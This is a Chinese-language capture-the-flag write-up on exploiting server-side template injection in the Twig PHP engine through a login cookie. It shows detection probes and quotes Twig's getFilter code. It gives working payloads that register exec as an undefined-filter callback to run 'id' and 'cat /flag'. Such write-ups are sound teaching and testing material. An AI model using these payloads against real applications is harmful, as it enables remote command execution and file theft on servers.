考查的地方:模板注入,利用Twig模板本身的特性进行攻击
目录
解题过程
打开题目是这样的,页面有flag,hint
先来看看flag.php,嘶。。。需要输入ID进行登录
看看另一个hint.php,一个简单的东西
抓包分析,既然是hint.php,那就肯定会有线索,如下,提示我们注意看cookie
所以回到flag.php,先输入admin,然后登录,回显:
在登录的状态下,刷新flag.php,进行抓包
后来发现继续尝试,是个模板注入(SSTI)。放出图片
尝试{{7*7}}, 返回49
尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板
本题是Twig模板
然后根据大佬的wp,得到payload
但是大多数的博客没有提到这个payload是怎么来的,所以继续找,找到了相关文章(这是Twig部分,还有许多其他相当好的部分):
这个函数中调用了一个 call_user_function 方法
public function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) {//注意这行 return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
所以payload至于要将"cat /flag" 替换"id" 即可。payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}